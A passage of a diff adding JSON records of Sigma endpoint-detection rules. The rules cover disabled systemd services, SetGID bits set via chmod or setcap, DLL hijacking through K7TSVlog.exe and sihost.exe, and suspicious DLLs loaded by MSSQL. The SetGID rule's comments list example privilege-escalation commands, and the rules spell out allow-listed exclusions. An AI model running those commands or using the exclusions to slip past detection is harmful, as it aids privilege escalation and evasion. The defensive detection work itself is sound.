ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_eset:\n        - CommandLine: 'systemctl disable eraagent.service'\n          CurrentDirectory: '/opt/eset/RemoteAdministrator/Agent/'\n        - GrandparentImage: '/opt/eset/efs/lib/execd'\n\n    exclusion_k3s:\n        ProcessCommandLine: 'systemctl disable k3s-agent'\n\n    exclusion_bitdefender_install:\n        CommandLine|contains: 'bdsec-arrakis'\n        ParentImage: '/usr/bin/??sh'\n        ParentCommandLine|contains:\n            - '/installer'\n            - '/uninstall'\n            - '/opt/bitdefender-security-tools/bin/'\n        CurrentDirectory|contains: '/bitdefender'\n\n    exclusion_fsecure:\n        - ProcessParentImage|startswith: '/opt/f-secure/'\n        - ProcessGrandparentImage|startswith: '/opt/f-secure/'\n        - ProcessParentCommandLine|startswith: '/bin/bash /opt/f-secure/'\n        - ProcessGrandparentCommandLine|startswith: '/bin/bash /opt/f-secure/'\n\n    exclusion_wazo_monit:\n        ProcessCommandLine: 'systemctl disable monit'\n        ProcessParentCommandLine: '/bin/bash /bin/wazo-service disable'\n\n    exclusion_authconfig_nscd:\n        ProcessCommandLine: '/bin/systemctl disable nscd.service'\n        ProcessGrandparentCommandLine|startswith: '/usr/bin/python /sbin/authconfig '\n\n    exclusion_manageengine:\n        ProcessParentImage: '/usr/local/manageengine/uems_agent/bin/dcservice'\n\n    exclusion_puppet:\n        ProcessParentImage|startswith: '/opt/puppetlabs/'\n\n    exclusion_azuremonitor:\n        - CommandLine|startswith: 'systemctl disable azuremonitor'\n        - CurrentDirectory|startswith: '/var/lib/waagent/Microsoft.'\n\n    exclusion_bulkproxy:\n        CommandLine|startswith: 'systemctl disable bulkproxy'\n\n    exclusion_3cxpbx:\n        Ancestors|endswith: '/usr/lib/3cxpbx/CloudServicesWatcher|/usr/lib/systemd/systemd'\n\n    exclusion_cybereason:\n        ProcessParentImage: '/opt/cybereason/sensor/bin/cybereason-sensor'\n\n    exclusion_rancher:\n        CommandLine:\n            - 'systemctl disable rke2-agent'\n            - 'systemctl disable rke2-server'\n            - 'systemctl disable rancher-system-agent'\n        ProcessParentCommandLine|endswith:\n            - '/bin/sh */bin/rke2-uninstall.sh'\n            - '/bin/sh */bin/rancher-system-agent-uninstall.sh'\n\n    exclusion_listchanges:\n        CommandLine: 'systemctl disable apt-listchanges.timer'\n        ProcessParentImage: '/usr/lib/systemd/systemd'\n\n    exclusion_trendmicro:\n        ProcessParentImage: '/opt/TrendMicro/EndpointBasecamp/bin/tmxbc'\n\n    exclusion_sme_server:\n        CommandLine: 'systemctl disable ARID_entry'\n        ParentCommandLine: '/usr/bin/perl -w /sbin/e-smith/signal-event.perl post-sync'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|/opt/microfocus/Discovery/.discagnt/udscan|'\n            - '|/opt/VRTSvcs/bin/Script51Agent|'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4030d3e4-9b06-4b18-a6a2-04f077cafbe5",
+  "rule_name": "SystemD Service Disabled",
+  "rule_description": "Detects when a systemd service is manually disabled.\nAdversaries may disable services on a system to render those services unavailable to legitimate users or to impair the security tools already installed.\nIt is recommended to ensure that both a legitimate administrator disabled this service and that the service is not critical.\nAdditionally, it is recommended to investigate the process responsible for the disabling of the service to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1489",
+    "attack.t1562.001",
+    "attack.t1569"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "40584aef-d0d3-4764-9876-2e1f95ad821a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.601600Z",
+  "creation_date": "2026-03-23T11:45:34.095839Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095844Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md",
+    "https://attack.mitre.org/techniques/T1548/001/"
+  ],
+  "name": "t1548_001_chmod_setgid_linux.yml",
+  "content": "title: SetGID Access Flag Set via chmod/setcap\nid: 40584aef-d0d3-4764-9876-2e1f95ad821a\ndescription: |\n    Detects chmod and setcap being used to set the SetGID bit or capability on a file.\n    Attackers can set the SetGID bit on a file to execute a it with a different (and potentially more privileged) group context.\n    It is recommended to investigate the file having its characteristics modified, as well as potential executions of this file to determine if this action was legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md\n    - https://attack.mitre.org/techniques/T1548/001/\ndate: 2022/09/26\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.001\n    - attack.t1222.002\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Chmod\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_chmod:\n        # chmod +s /home/user/malicious_script.sh\n        # chmod ug+s /home/user/malicious_script.sh\n        # chmod g+s /home/user/malicious_script.sh\n        # chmod 4644 /home/user/malicious_script.sh\n        # chmod 6644 /home/user/malicious_script.sh\n        Image|endswith: '/chmod'\n        CommandLine|contains:\n            - 'chmod +s'\n            - 'chmod ug+s'\n            - 'chmod g+s'\n            - 'chmod 2??? '\n            - 'chmod 6??? '\n    selection_setcap:\n        # setcap cap_setgid=pe /home/user/malicious_script.sh\n        # setcap cap_setgid=e /home/user/malicious_script.sh\n        # setcap cap_setgid=+pie /home/user/malicious_script.sh\n        # setcap cap_net_bind_service,cap_setgid=pe /home/user/malicious_script.sh\n        # setcap cap_setgid,cap_setuid=+pie /home/user/malicious_script.sh\n        Image|endswith: '/setcap'\n        CommandLine|contains: 'cap_setgid'\n\n    selection_commandline:\n        CommandLine|contains:\n            - ' /home/'\n            - ' /root/'\n            - ' /opt/'\n            - ' /bin/'\n            - ' /sbin/'\n            - ' /usr/bin/'\n            - ' /usr/sbin/'\n            - ' /tmp/'\n            - ' /var/tmp/'\n            - ' /run/'\n            - ' /var/run/'\n            - ' /dev/shm/'\n            - ' /var/www/'\n\n    selection_directory:\n        CurrentDirectory|startswith:\n            - '/home/'\n            - '/root/'\n            - '/opt/'\n            - '/bin/'\n            - '/sbin/'\n            - '/usr/bin/'\n            - '/usr/sbin/'\n            - '/tmp/'\n            - '/var/tmp/'\n            - '/run/'\n            - '/var/run/'\n            - '/dev/shm/'\n            - '/var/www/'\n\n    filter_local_directory:\n        CommandLine|contains: '/'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n            - '|/usr/bin/rpm|'\n            - '|/usr/bin/dockerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/sbin/containerd-shim-runc-v2|'\n\n    exclusion_image:\n        ParentImage:\n            - '/usr/bin/find'\n            - '/usr/bin/make'\n\n    exclusion_dpkg:\n        CommandLine|contains: 'chmod 2755 /usr/bin/ssh-agent'\n        GrandparentImage: '/usr/bin/dpkg'\n\n    exclusion_dnf:\n        ParentCommandLine: '/bin/sh /var/tmp/rpm-tmp.*'\n        GrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_postfix:\n        - CommandLine:\n            - 'chmod 2755 /usr/sbin/postqueue'\n            - 'chmod 2555 /usr/sbin/postqueue'\n            - 'chmod 2755 /usr/sbin/postdrop'\n            - 'chmod 2555 /usr/sbin/postdrop'\n          ParentCommandLine|startswith:\n            - '/bin/sh /usr/lib/postfix/sbin/postfix-script set-permissions'\n            - '/bin/sh /usr/lib/postfix/sbin/post-install create-missing set-permissions '\n            - '/bin/sh /usr/libexec/postfix/sbin/postfix-script set-permissions'\n            - '/bin/sh /usr/libexec/postfix/post-install create-missing set-permissions '\n        - GrandparentCommandLine|startswith:\n            - '/bin/sh /usr/lib/postfix/sbin/postfix-script set-permissions'\n            - '/usr/bin/sh /usr/libexec/postfix/postfix-script set-permissions'\n\n    exclusion_journal:\n        CommandLine: 'chmod g+s /run/log/journal/ /run/log/journal/???????????????????????????????? /var/log/journal/ /var/log/journal/????????????????????????????????'\n        GrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n\n    exclusion_dpkg_config:\n        ParentCommandLine: '/bin/sh /var/lib/dpkg/info/*.postinst configure*'\n\n    exclusion_postgresql:\n        CommandLine: 'chmod 2775 /var/run/postgresql'\n        ParentCommandLine: '/bin/sh /etc/init.d/postgresql start'\n\n    exclusion_isa:\n        ParentCommandLine: '/bin/bash /etc/init.d/isa status'\n\n    exclusion_bitdefender:\n        CommandLine: 'chmod +s /opt/bitdefender-security-tools/bin/auctl'\n\n    exclusion_var_www:\n        CommandLine|startswith: 'chmod 2755 /var/www/'\n\n    exclusion_xivo:\n        GrandparentCommandLine|contains: '/sbin/xivo-fix-paths-rights'\n\n    exclusion_parallel:\n        CommandLine: '/usr/bin/perl /usr/bin/parallel -j 4 chmod 555 {}'\n\n    exclusion_asterisk:\n        - ParentCommandLine|startswith: 'find /var/lib/asterisk'\n        - GrandparentCommandLine: '/bin/sh /usr/share/asterisk/bin/asterisk_fix'\n\n    exclusion_resto:\n        ParentCommandLine|startswith: 'find resto_full_43 -exec chmod '\n\n    exclusion_convert2rhel:\n        GrandparentCommandLine|startswith:\n            - '/usr/bin/python2 /bin/convert2rhel '\n            - '/usr/bin/python2 /usr/bin/convert2rhel '\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    condition: (selection_chmod or selection_setcap) and (selection_commandline or (selection_directory and not filter_local_directory)) and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "40584aef-d0d3-4764-9876-2e1f95ad821a",
+  "rule_name": "SetGID Access Flag Set via chmod/setcap",
+  "rule_description": "Detects chmod and setcap being used to set the SetGID bit or capability on a file.\nAttackers can set the SetGID bit on a file to execute a it with a different (and potentially more privileged) group context.\nIt is recommended to investigate the file having its characteristics modified, as well as potential executions of this file to determine if this action was legitimate.\n",
+  "rule_creation_date": "2022-09-26",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1222.002",
+    "attack.t1548.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "40aa4aee-13e6-4b99-b9bd-b4dd753c0115",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618918Z",
+  "creation_date": "2026-03-23T11:45:34.618920Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618925Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_k7tsvlog.yml",
+  "content": "title: DLL Hijacking via K7TSVlog.exe\nid: 40aa4aee-13e6-4b99-b9bd-b4dd753c0115\ndescription: |\n    Detects potential Windows DLL Hijacking via K7TSVlog.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'K7TSVlog.exe'\n        ImageLoaded|endswith: '\\K7UI.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\K7 Computing\\'\n            - '?:\\Program Files (x86)\\K7 Computing\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\K7 Computing\\'\n            - '?:\\Program Files (x86)\\K7 Computing\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'K7 Computing Pvt Ltd'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "40aa4aee-13e6-4b99-b9bd-b4dd753c0115",
+  "rule_name": "DLL Hijacking via K7TSVlog.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via K7TSVlog.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "40ac8087-2675-4c61-985e-773fbdac1328",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076446Z",
+  "creation_date": "2026-03-23T11:45:34.076448Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076453Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sihost.yml",
+  "content": "title: DLL Hijacking via sihost.exe\nid: 40ac8087-2675-4c61-985e-773fbdac1328\ndescription: |\n    Detects potential Windows DLL Hijacking via sihost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sihost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\coremessaging.dll'\n            - '\\desktopshellext.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "40ac8087-2675-4c61-985e-773fbdac1328",
+  "rule_name": "DLL Hijacking via sihost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sihost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "40c091bb-8190-4465-8e20-0f42a47d58b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084172Z",
+  "creation_date": "2026-03-23T11:45:34.084174Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084179Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/",
+    "https://www.tarlogic.com/blog/lateral-movement-mssql-clr-socket-reuse/",
+    "https://asec.ahnlab.com/en/51343/",
+    "https://attack.mitre.org/techniques/T1190/",
+    "https://attack.mitre.org/techniques/T1505/001/",
+    "https://learn.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server?view=sql-server-ver16"
+  ],
+  "name": "t1190_mssql_suspicious_dll_loaded.yml",
+  "content": "title: Suspicious DLL Loaded by MSSQL\nid: 40c091bb-8190-4465-8e20-0f42a47d58b6\ndescription: |\n    Detects the loading of a suspicious DLL by Microsoft SQL Server.\n    Attackers able to execute arbitrary SQL commands in a Microsoft SQL Server are able to load CLR assemblies in the SQL server.\n    One of the methods allowing attackers to load such assemblies imply that they write their malicious assemblies in a DLL on disk.\n    This rule detects when a potentially malicious DLL is loaded by MSSQL.\n    It is recommended to investigate the loaded DLL for malicious contents, and if necessary, quarantine it.\n    It is also recommended to look for other malicious behavior on the host as well as potentially unauthorized authentications to the SQL server.\nreferences:\n    - https://www.netspi.com/blog/technical/adversary-simulation/attacking-sql-server-clr-assemblies/\n    - https://www.tarlogic.com/blog/lateral-movement-mssql-clr-socket-reuse/\n    - https://asec.ahnlab.com/en/51343/\n    - https://attack.mitre.org/techniques/T1190/\n    - https://attack.mitre.org/techniques/T1505/001/\n    - https://learn.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server?view=sql-server-ver16\ndate: 2023/09/04\nmodified: 2025/05/15\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - attack.execution\n    - attack.t1059\n    - attack.persistence\n    - attack.t1505.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    category: library_event\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\sqlservr.exe'\n        ImageLoaded|contains: '\\'\n\n    filter_signed:\n        Signed: 'true'\n\n    filter_system32:\n        ImageLoaded|re:\n            - '(?i):\\\\Windows\\\\System32\\\\[^\\\\]*.dll'\n            - '(?i):\\\\Windows\\\\Syswow64\\\\[^\\\\]*.dll'\n\n    filter_location:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\assembly\\'\n            - '?:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\'\n            - '?:\\Windows\\Microsoft.Net\\assembly\\GAC_64\\'\n\n    filter_mssql:\n        - ImageLoaded:\n            - '?:\\Program Files*\\Microsoft SQL Server\\\\*\\Shared\\instapi140.dll'\n            - '?:\\Program Files*\\Microsoft SQL Server\\\\*\\COM\\sqlvdi.dll'\n            - '?:\\Program Files*\\Microsoft SQL Server\\\\*\\Binn\\ssnmpn70.dll'\n            - '*\\Microsoft SQL Server\\\\*\\MSSQL\\Binn\\SqlAccess.dll'\n            - '?:\\Program Files*\\Microsoft SQL Server\\\\*\\MSSQL\\Binn\\hkengine.dll'\n            - '?:\\Program Files*\\Microsoft SQL Server\\\\*\\MSSQL\\Binn\\hkruntime.dll'\n            - '?:\\Program Files*\\Microsoft SQL Server\\\\*\\MSSQL\\Binn\\hkcompile.dll'\n            - '?:\\Program Files*\\Microsoft SQL Server\\\\*\\MSSQL\\Binn\\DBGHELP.DLL'\n        - ImageLoaded|startswith: '?:\\Program Files*\\Microsoft SQL Server\\\\*\\Binn\\'\n          Product: 'Microsoft SQL Server'\n\n    exclusion_oracle:\n        ImageLoaded|endswith:\n            - '\\product\\\\*\\client_?\\bin\\ora*.dll'\n            - '\\product\\\\*\\client_?\\ora*.dll'\n            - '\\product\\\\*\\client_?\\bin\\oci.dll'\n            - '\\product\\\\*\\client_?\\oci.dll'\n            - '\\product\\\\*\\client_?\\oraociei11.dll'\n        Company: 'Oracle Corporation'\n\n    exclusion_sqlvdi:\n        # C:\\Program Files\\Microsoft SQL Server\\80\\COM\\sqlvdi.dll\n        ImageLoaded|endswith: '\\sqlvdi.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'SQLVDI.DLL'\n\n    exclusion_sqlevn:\n        ImageLoaded|endswith: '\\MSSQL\\Binn\\Resources\\\\*\\sqlevn70.rll.mui'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'SQLEVN70.DLL.MUI'\n\n    exclusion_commvault:\n        ImageLoaded|endswith: '\\Commvault\\ContentStore\\Base\\CvDBNativeAPI.dll'\n        Company: 'Commvault'\n        OriginalFileName: 'CvDBNativeAPI.dll'\n\n    exclusion_stored_procedure:\n        ImageLoaded|endswith: '\\DATA\\xtp\\\\*\\xtp_?_*_*_*_*.dll'\n        Description: 'XTP Native DLL'\n\n    